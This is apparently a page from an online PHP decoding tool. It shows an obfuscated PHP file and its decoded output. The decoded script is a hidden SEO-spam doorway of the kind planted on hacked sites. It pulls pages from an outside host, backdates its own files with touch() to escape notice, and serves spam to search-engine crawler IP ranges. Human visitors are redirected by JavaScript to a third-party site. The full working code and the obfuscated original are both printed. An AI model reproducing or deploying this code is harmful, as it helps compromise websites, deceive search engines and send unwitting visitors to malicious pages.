Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $w_lp = 'gz'. 'un'. 'co'. 'mp'. 're'. 'ss';$slaguu_s = 'b' .'a' .'s' .'e' .'6' .'4' ..
Decoded Output download
$uno = 'idnhbnbexk_lktmsqfvfegcezrfqobfbsimotgdmbheczmyrurryctrbvuxnwlnddrdhecjxflxxvs'; ;
error_reporting(0);
define("BASE_URL","http://d.ad-net.top/10_books/");
define("GROUP_NAME","10-31-10-2018-1");
$cache = true;
if(!function_exists('scandir')) {
function scandir($dir, $sortorder = 0) {
if(is_dir($dir)) {
$dirlist = opendir($dir);
while( ($file = readdir($dirlist)) !== false) {
if(!is_dir($file)) {
$files[] = $file;
}
}
($sortorder == 0) ? asort($files) : rsort($files);
return $files;
} else {
return FALSE;
}
}
}
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (!$f) {
return false;
} else {
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
}
$tdir = '.backup';
if (!file_exists($tdir)) mkdir($tdir);
$time = time() - 60*24*3601;
$dr = getenv('DOCUMENT_ROOT');
if (@filemtime(dirname(__FILE__)) > $time || @filemtime('.'.getenv('PHP_SELF')) > $time || @filemtime(getenv('SCRIPT_FILENAME')) > $time)
{
$files = @scandir($dr);
for ($i=0;$i<count($files);$i++)
{
if(stristr($files[$i], '.php') || stristr($files[$i], '.htm'))
{
if (filemtime($dr."/".$files[$i]) < $time) $time = filemtime($dr."/".$files[$i]);
break;
}
}
@touch(dirname(__FILE__), $time);
@touch(getenv('SCRIPT_FILENAME'), $time);
@touch('.'.getenv('PHP_SELF'), $time);
@touch($tdir, $time);
@touch('.htaccess', $time);
}
if (!isset($_GET['q']) || strlen($_GET['q'])<1)
{
$q = 'MAINDOOR';
}
else $q = $_GET['q'];
if ($q == 'yesitsourtest01') {
echo '__OK__';
exit(0);
}
if (strlen($q) < 1) $q = 'MAINDOOR';
$q = rm_rand_str($q);
$domain = getenv('HTTP_HOST');
$ip = getenv('REMOTE_ADDR');
$ua = getenv('HTTP_USER_AGENT');
$sagent = strtolower($ua);
$ref = getenv('HTTP_REFERER');
$requrl = getenv('REQUEST_URI');
$q = rtrim($q, '/');
$offset = strrchr($q, '/');
if($offset == FALSE) {
$q = trim($q, '/');
}else{
$q = trim($offset, '/');
}
$keyword = $q;
$downkey = urlencode(trim(preg_replace('/(buy|view|read|online|pdf|epub|book|ebook|shop|download|free)/i', '', $q),'-'));
$stat = 'http://books.odintara.com:1080/read.html'.'?keyword='.$downkey.'&se='.GROUP_NAME.'&ur=1&default_keyword='.$downkey.'&HTTP_REFERER=http://'.htmlentities($domain.$requrl);
$tds_answer = '<script type="text/javascript">var url="'.$stat.'";self.location.href=url;top.location.href!=self.location.href&&(top.location.href=self.location.href);window!=top?top.location.href=url:document.location=url;</script>';
if (!human($sagent,$ip) || isBlackListedUA()) $tds_answer = '';
$fn = md5(urlencode($q));
if ($cache && file_exists($tdir.'/.'.$fn)) {
$content = file_get_contents($tdir.'/.'.$fn);
} else {
$content = cc2(BASE_URL.'/content.php?d='.$domain.'&kw='.$keyword,60);
if ($cache && strlen($content)>500) file_put_contents($tdir.'/.'.$fn, $content);
else if (file_exists($tdir.'/.'.md5('MAINDOOR'))) $content = file_get_contents($tdir.'/.'.md5('MAINDOOR'));
}
$content = gzinflate($content);
$content = str_replace('{tds:answer}', $tds_answer, $content);
if (!human($sagent,$ip) || isBlackListedUA())
{
if (strpos(strtolower($keyword),'.xml') !== false) header('Content-type: application/xml');
echo $content;
}
else if (strpos(strtolower($keyword),'.xml') !== false)
{
echo '<html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>'.$keyword.'</title>'.$tds_answer.'</head><body>Get redirected...</body></html>';
}
else echo $content;
function rm_rand_str($q) {
$arr = array('/\.php$/i','/\.htm$/i','/\.html$/i','#/$#','/\-\-.*$/');
$q = preg_replace($arr,'',$q);
$order = array("\s", " ", "+");
$q = str_replace($order,'-',$q);
$q = mysql_escape_mimic($q);
return $q;
}
function mysql_escape_mimic($inp) {
if(is_array($inp))
return array_map(__METHOD__, $inp);
if(!empty($inp) && is_string($inp)) {
return str_replace(array('\', "", "
", "
", "'", '"', ""), array('\', '', '
', '
', "\'", '\"', '\Z'), $inp);
}
return $inp;
}
function human($server_user_agent,$server_ip)
{
$stop_ips_masks = array
(
'209\.73\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '216\.39\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '111\.13\.102\.[0-9]{1,3}', '119\.63\.19[2-9]\.[0-9]{1,3}', '119\.63\.196\.[0-9]{1,3}', '119\.63\.199\.[0-9]{1,3}', '122\.81\.(21[01]|20[89])\.[0-9]{1,3}', '123\.125\.67\.(15[01]|14[4-9])', '123\.125\.67\.15[23]', '123\.125\.68\.[0-9]{1,3}', '123\.125\.68\.(7[01]|6[89])', '123\.125\.68\.7[2-9]', '123\.125\.68\.(9[0-5]|8[0-9])', '123\.125\.68\.8[0-3]', '123\.125\.68\.8[45]', '123\.125\.68\.9[6-9]', '123\.125\.71\.[0-9]{1,3}', '125\.39\.7[89]\.[0-9]{1,3}', '180\.76\.[0-9]{1,3}\.[0-9]{1,3}', '180\.76\.15\.[0-9]{1,3}', '180\.76\.4\.[0-9]{1,3}', '180\.76\.5\.[0-9]{1,3}', '180\.76\.6\.[0-9]{1,3}', '185\.10\.104\.[0-9]{1,3}', '202\.46\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '202\.46\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '220\.181\.108\.[0-9]{1,3}', '220\.181\.38\.[0-9]{1,3}', '220\.181\.51\.[0-9]{1,3}', '61\.135\.169\.[0-9]{1,3}', '203\.208\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '203\.208\.60\.[0-9]{1,3}', '209\.85\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '209\.85\.238\.[0-9]{1,3}', '216\.239\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '216\.3[2-5]\.[0-9]{1,3}\.[0-9]{1,3}', '64\.233\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '64\.68\.8[0-7]\.[0-9]{1,3}', '66\.249\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '66\.249\.(7[0-9]|6[4-9])\.[0-9]{1,3}', '66\.249\.90\.[0-9]{1,3}', '66\.249\.91\.[0-9]{1,3}', '66\.249\.92\.[0-9]{1,3}', '72\.14\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '72\.14\.199\.[0-9]{1,3}', '8\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}', '8\.6\.(5[0-5]|4[89])\.[0-9]{1,3}', '198\.5\.(21[01]|20[89])\.[0-9]{1,3}', '205\.226\.20[0-7]\.[0-9]{1,3}', '66\.196\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '68\.142\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '74\.6\.[0-9]{1,3}\.[0-9]{1,3}', '209\.202\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '131\.107\.[0-9]{1,3}\.[0-9]{1,3}', '131\.253\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '131\.253\.2[4-7]\.[0-9]{1,3}', '131\.253\.4[67]\.[0-9]{1,3}', '131\.253\.61\.[0-9]{1,3}', '131\.253\.6[23]\.[0-9]{1,3}', '131\.253\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '157\.5[45]\.[0-9]{1,3}\.[0-9]{1,3}', '157\.55\.109\.[0-9]{1,3}', '157\.55\.110\.4[0-7]', '157\.55\.110\.(6[0-3]|5[0-9]|4[89])', '157\.55\.1[67]\.[0-9]{1,3}', '157\.55\.18\.[0-9]{1,3}', '157\.55\.3[2-5]\.[0-9]{1,3}', '157\.55\.36\.[0-9]{1,3}', '157\.55\.39\.[0-9]{1,3}', '157\.55\.48\.[0-9]{1,3}', '157\.5[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '157\.56\.229\.[0-9]{1,3}', '157\.56\.92\.[0-9]{1,3}', '157\.56\.93\.[0-9]{1,3}', '157\.56\.9[45]\.[0-9]{1,3}', '157\.60\.[0-9]{1,3}\.[0-9]{1,3}', '199\.30\.(3[01]|2[0-9]|1[6-9])\.[0-9]{1,3}', '199\.30\.16\.[0-9]{1,3}', '199\.30\.27\.[0-9]{1,3}', '202\.96\.51\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '204\.95\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}', '207\.46\.[0-9]{1,3}\.[0-9]{1,3}', '207\.46\.0\.[0-9]{1,3}', '207\.46\.1[23]\.[0-9]{1,3}', '207\.46\.192\.[0-9]{1,3}', '207\.46\.195\.[0-9]{1,3}', '207\.46\.199\.[0-9]{1,3}', '207\.46\.204\.[0-9]{1,3}', '207\.68\.(19[01]|1[3-8][0-9]|12[89])\.[0-9]{1,3}', '208\.68\.(14[0-3]|13[6-9])\.[0-9]{1,3}', '213\.199\.(14[0-3]|13[0-9]|12[89])\.[0-9]{1,3}', '219\.142\.53\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])', '40\.11[2-9]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.12[0-3]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.124\.[0-9]{1,3}\.[0-9]{1,3}', '40\.125\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])\.[0-9]{1,3}', '40\.7[45]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.7[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.77\.167\.[0-9]{1,3}', '40\.(9[0-5]|8[0-9])\.[0-9]{1,3}\.[0-9]{1,3}', '40\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}\.[0-9]{1,3}', '64\.4\.(6[0-3]|[1-5]?[0-9])\.[0-9]{1,3}', '65\.5[2-5]\.[0-9]{1,3}\.[0-9]{1,3}', '65\.52\.104\.[0-9]{1,3}', '65\.52\.(11[01]|10[89])\.[0-9]{1,3}', '65\.55\.213\.[0-9]{1,3}', '65\.55\.217\.[0-9]{1,3}', '65\.55\.24\.[0-9]{1,3}', '65\.55\.52\.[0-9]{1,3}', '65\.55\.55\.[0-9]{1,3}', '114\.111\.95\.[0-9]{1,3}', '124\.83\.159\.[0-9]{1,3}', '124\.83\.179\.[0-9]{1,3}', '124\.83\.223\.[0-9]{1,3}', '183\.79\.[0-9]{1,3}\.[0-9]{1,3}', '183\.79\.63\.[0-9]{1,3}', '183\.79\.92\.[0-9]{1,3}', '202\.160\.(19[01]|18[0-9]|17[6-9])\.[0-9]{1,3}', '202\.165\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}', '202\.46\.19\.[0-9]{1,3}', '203\.141\.(4[0-7]|3[2-9])\.[0-9]{1,3}', '203\.216\.255\.[0-9]{1,3}', '206\.190\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '206\.3\.(3[01]|[12]?[0-9])\.[0-9]{1,3}', '207\.126\.(23[0-9]|22[4-9])\.[0-9]{1,3}', '209\.131\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '209\.191\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '210\.236\.233\.[0-9]{1,3}', '211\.13\.230\.[0-9]{1,3}', '211\.14\.11\.[0-9]{1,3}', '211\.14\.8\.[0-9]{1,3}', '216\.109\.(12[0-7]|11[2-9])\.[0-9]{1,3}', '216\.136\.23[2-5]\.[0-9]{1,3}', '216\.145\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '216\.155\.(20[0-7]|19[2-9])\.[0-9]{1,3}', '63\.163\.102\.[0-9]{1,3}', '64\.157\.13[6-9]\.[0-9]{1,3}', '66\.163\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '66\.196\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '66\.218\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '66\.228\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '66\.94\.(25[0-5]|2[34][0-9]|22[4-9])\.[0-9]{1,3}', '67\.195\.[0-9]{1,3}\.[0-9]{1,3}', '67\.195\.110\.[0-9]{1,3}', '67\.195\.111\.[0-9]{1,3}', '67\.195\.11[23]\.[0-9]{1,3}', '67\.195\.114\.[0-9]{1,3}', '67\.195\.115\.[0-9]{1,3}', '67\.195\.37\.[0-9]{1,3}', '67\.195\.50\.[0-9]{1,3}', '68\.142\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '68\.180\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '68\.180\.(23[01]|22[4-9])\.[0-9]{1,3}', '69\.147\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '72\.30\.[0-9]{1,3}\.[0-9]{1,3}', '72\.30\.132\.[0-9]{1,3}', '72\.30\.142\.[0-9]{1,3}', '72\.30\.161\.[0-9]{1,3}', '72\.30\.196\.[0-9]{1,3}', '72\.30\.198\.[0-9]{1,3}', '74\.6\.[0-9]{1,3}\.[0-9]{1,3}', '74\.6\.13\.[0-9]{1,3}', '74\.6\.17\.[0-9]{1,3}', '74\.6\.18\.[0-9]{1,3}', '74\.6\.22\.[0-9]{1,3}', '74\.6\.254\.[0-9]{1,3}', '74\.6\.27\.[0-9]{1,3}', '74\.6\.8\.[0-9]{1,3}', '98\.13[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '98\.137\.206\.[0-9]{1,3}', '98\.137\.207\.[0-9]{1,3}', '98\.137\.72\.[0-9]{1,3}', '98\.139\.168\.[0-9]{1,3}', '100\.43\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '100\.43\.80\.[0-9]{1,3}', '100\.43\.81\.[0-9]{1,3}', '100\.43\.85\.[0-9]{1,3}', '100\.43\.90\.[0-9]{1,3}', '100\.43\.91\.[0-9]{1,3}', '130\.193\.62\.[0-9]{1,3}', '141\.8\.143\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '141\.8\.153\.[0-9]{1,3}', '141\.8\.153\.(12[0-7]|11[2-9])', '178\.154\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '178\.154\.165\.[0-9]{1,3}', '178\.154\.166\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '178\.154\.200\.[0-9]{1,3}', '178\.154\.202\.[0-9]{1,3}', '178\.154\.205\.[0-9]{1,3}', '178\.154\.21[01]\.[0-9]{1,3}', '178\.154\.239\.[0-9]{1,3}', '178\.154\.243\.[0-9]{1,3}', '199\.21\.9[6-9]\.[0-9]{1,3}', '199\.21\.99\.[0-9]{1,3}', '213\.180\.(22[0-3]|2[01][0-9]|19[2-9])\.[0-9]{1,3}', '213\.180\.(20[0-7]|19[2-9])\.[0-9]{1,3}', '213\.180\.(21[0-5]|20[89])\.[0-9]{1,3}', '213\.180\.21[6-9]\.[0-9]{1,3}', '37\.140\.141\.[0-9]{1,3}', '37\.140\.165\.[0-9]{1,3}', '37\.140\.188\.[0-9]{1,3}', '37\.9\.115\.[0-9]{1,3}', '37\.9\.8[4-7]\.[0-9]{1,3}', '5\.255\.253\.[0-9]{1,3}', '5\.45\.254\.[0-9]{1,3}', '77\.88\.(6[0-3]|[1-5]?[0-9])\.[0-9]{1,3}', '77\.88\.22\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])', '77\.88\.29\.[0-9]{1,3}', '77\.88\.31\.[0-9]{1,3}', '77\.88\.59\.[0-9]{1,3}', '84\.201\.146\.[0-9]{1,3}', '84\.201\.148\.[0-9]{1,3}', '84\.201\.149\.[0-9]{1,3}', '87\.250\.(25[0-5]|2[34][0-9]|22[4-9])\.[0-9]{1,3}', '87\.250\.243\.[0-9]{1,3}', '87\.250\.253\.[0-9]{1,3}', '93\.158\.147\.[0-9]{1,3}', '93\.158\.148\.[0-9]{1,3}', '93\.158\.151\.[0-9]{1,3}', '93\.158\.153\.[0-9]{1,3}', '95\.108\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '95\.108\.128\.[0-9]{1,3}', '95\.108\.138\.[0-9]{1,3}', '95\.108\.15[01]\.[0-9]{1,3}', '95\.108\.156\.[0-9]{1,3}', '95\.108\.158\.[0-9]{1,3}', '95\.108\.188\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '95\.108\.234\.[0-9]{1,3}', '95\.108\.24[67]\.[0-9]{1,3}', '95\.108\.248\.[0-9]{1,3}', '95\.158\.(19[01]|1[3-8][0-9]|12[89])\.[0-9]{1,3}',
"66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+", "72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134", "209\.9\.239\.101", "67\.217\.160\.[0-9]+", "66\.108\.185\.[0-9]+", "70\.91\.180\.25",
"65\.93\.62\.242",
"74\.193\.246\.129",
"213\.144\.15\.38",
"195\.92\.229\.2",
"70\.50\.189\.191",
"218\.28\.88\.99",
"165\.160\.2\.20",
"89\.122\.224\.230",
"66\.230\.175\.124",
"218\.18\.174\.27",
"65\.33\.87\.94",
"67\.210\.111\.241",
"81\.135\.175\.70",
"64\.69\.34\.134",
"89\.149\.253\.169",
"64\.233\.1[6-8][1-9]\.[0-9]+",
"64\.233\.19[0-1]\.[0-9]+",
"209\.185\.108\.[0-9]+",
"209\.185\.253\.[0-9]+",
"209\.85\.238\.[0-9]+",
"216\.239\.33\.9[6-9]",
"216\.239\.37\.9[8-9]",
"216\.239\.39\.9[8-9]",
"216\.239\.41\.9[6-9]",
"216\.239\.45\.4",
"216\.239\.46\.[0-9]+",
"216\.239\.51\.9[6-9]",
"216\.239\.53\.9[8-9]",
"216\.239\.57\.9[6-9]",
"216\.239\.59\.9[8-9]",
"216\.33\.229\.163",
"64\.233\.173\.[0-9]+",
"64\.68\.8[0-9]\.[0-9]+",
"64\.68\.9[0-2]\.[0-9]+",
"72\.14\.199\.[0-9]+",
"8\.6\.48\.[0-9]+",
"207\.211\.40\.82",
"67\.162\.158\.146",
"66\.255\.53\.123",
"24\.200\.208\.112",
"129\.187\.148\.240",
"129\.187\.148\.244",
"199\.126\.151\.229",
"118\.124\.32\.193",
"89\.149\.217\.191",
"114\.36\.1\.[0-9]+",
"104\.131\.98\.[0-9]+","200\.232\.28\.[0-9]+","200\.178\.129\.[0-9]+",
"76\.92\.177\.[0-9]+",
"107\.167\.109\.[0-9]+","172\.56\.44\.[0-9]+","5\.221\.204\.[0-9]+",
"82\.236\.192\.[0-9]+","217\.36\.226\.[0-9]+",
"110\.54\.2[0-9]+\.[0-9]+","110\.54\.12[0-9]+\.[0-9]+",
"180\.191\.146\.[0-9]+",
"112\.200\.233\.[0-9]+",
"76\.178\.148\.[0-9]+",
"122\.2\.241\.[0-9]+","180\.190\.106\.[0-9]+","122\.2\.241\.[0-9]+","141\.43\.128\.76","180\.191\.71\.[0-9]+",
"112\.202\.167\.[0-9]+","180\.190\.103\.[0-9]+","112\.207\.30\.[0-9]+","183\.82\.39\.[0-9]+","112\.207\.21\.[0-9]+","110\.54\.238\.[0-9]+",
"112\.202\.169\.[0-9]+",
"49\.150\.7\.[0-9]+",
"222\.152\.62\.[0-9]+","110\.54\.248\.[0-9]+",
"94\.186\.102\.178","129\.120\.246\.[0-9]+","129\.120\.231\.[0-9]+",
"69\.30\.218\.[0-9]+","96\.62\.169\.[0-9]+","185\.122\.56\.[0-9]+","176\.126\.245\.[0-9]+",
"89\.163\.225\.[0-9]+",
"76\.8\.67\.[0-9]+",
"72\.208\.61\.[0-9]+",
"220\.158\.162\.[0-9]+",
"17\.58\.20\.[0-9]+","194\.11\.254\.[0-9]+","139\.130\.162\.[0-9]+",
"203\.220\.172\.[0-9]+",
"75\.150\.208\.[0-9]+",
"217\.172\.143\.[0-9]+",
"213\.152\.242\.[0-9]+",
"107\.185\.57\.[0-9]+",
"104\.6\.64\.[0-9]+",
"192\.92\.196\.[0-9]+",
"204\.79\.180\.[0-9]+",
"35\.165\.39\.[0-9]+",
"52\.25\.149\.[0-9]+",
"135\.84\.80\.[0-9]+",
"69\.156\.93\.[0-9]+",
"185\.30\.145\.[0-9]+",
"107\.133\.4\.[0-9]+",
"177\.84\.109\.[0-9]+",
);
$stop_agents_masks = array('http', 'google', 'slurp', 'msnbot', 'bot', 'crawl', 'spider', 'robot', 'httpclient', 'curl', 'php', 'indy library', 'wordpress','charlotte','wwwster','python','urllib','perl','libwww','lynx','twiceler','rambler','yandex','trend','virus','malware','wget','bing');
foreach ($stop_ips_masks as $stop_ip_mask) if(preg_match("/$stop_ip_mask/", $server_ip)) {
return false;
}
foreach($stop_agents_masks as $stop_agents_mask) if(preg_match("/$stop_agents_mask/", $server_user_agent)){
return false;
}
if(strlen($server_user_agent)<=11) {
return false;
}
return true;
}
function isBlackListedUA()
{
if (strlen(getenv('HTTP_USER_AGENT'))<=11) return true;
if (!getenv('HTTP_ACCEPT_LANGUAGE') || !getenv('HTTP_ACCEPT_ENCODING') || !getenv('HTTP_ACCEPT')) return true;
if (getenv('HTTP_ACCEPT_LANGUAGE') == '' || getenv('HTTP_ACCEPT_ENCODING') == '' || getenv('HTTP_ACCEPT') == '') return true;
return false;
}
function cc2($url,$to = 10)
{
$agents = array("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Gecko/20030504 Mozilla Firebird/0.6",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10"
);
if (function_exists('curl_init') && function_exists('curl_exec'))
{
$agent = $agents[rand(0,count($agents)-1)];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, $to);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
if (!(@ini_get('safe_mode') || @ini_get('open_basedir')))
{
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
}
@curl_setopt($ch, CURLOPT_MAXREDIRS, 2);
$content = curl_exec($ch);
curl_close($ch);
if ($content !== false)
{
return $content;
}
}
else if (function_exists('fsockopen'))
{
global $oldheader;
$a = $agents[rand(0,count($agents)-1)];
$protocol = (stripos($url,'https://') !== false) ? 'https://' : 'http://';
$url = str_replace($protocol,"",$url);
if (preg_match("#/#","$url"))
{
$page = $url;
$url = @explode("/",$url);
$url = $url[0];
$page = str_replace($url,"",$page);
if (!$page || $page == "")
{
$page = "/";
}
$ip = gethostbyname($url);
}else{
$ip = gethostbyname($url);
$page = "/";
}
$open = fsockopen($ip, 80, $errno, $errstr, $to);
stream_set_timeout($open,$to);
if ($open)
{
$send = "GET $page HTTP/1.0
";
$send .= "Host: $url
";
$send .= "Referer: $protocol$url$page
";
$send .= "Accept-Language: en-us, en;q=0.50
";
$send .= "User-Agent: $a
";
$send .= "Connection: Close
";
fputs($open, $send);
while (!feof($open))
{
$return .= fgets($open, 4096);
}
fclose($open);
$return = @explode("
",$return,2);
$header = $return[0];
if ($oldheader)
{
$header = "$oldheader<br /><br />
$header";
}
$header = str_replace("
","<br />",$header);
if ($return[1])
{
$body = $return[1];
}else{
$body = "";
}
if ($body)
{
$return = $body;
}else{
$return = $header;
}
if (preg_match("/Location\:/","$header"))
{
$url = @explode("Location: ",$header);
$url = $url[1];
$url = @explode("
",$url);
$url = $url[0];
$oldheader = str_replace("
","",$header);
$l = "Location:";
$oldheader = str_replace("Location:",$l,$oldheader);
return cc2($url);
}else{
return $return;
}
}
}
else if (ini_get('allow_url_fopen') == '1')
{
$ctx = stream_context_create(array(
'http' => array(
'timeout' => $to
)
)
);
$content = file_get_contents($url, 0, $ctx);
if ($content !== false)
{
return $content;
}
}
else
{
return 0;
}
}
?>
Did this file decode correctly?
Original Code
<?php $w_lp = 'gz'. 'un'. 'co'. 'mp'. 're'. 'ss';$slaguu_s = 'b' .'a' .'s' .'e' .'6' .'4' .'_' .'d' .'e' .'c' .'o' .'d' .'e';$y_gbiee = 'imp' .'lod' .'e';$yet = array("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","lYazDp/WA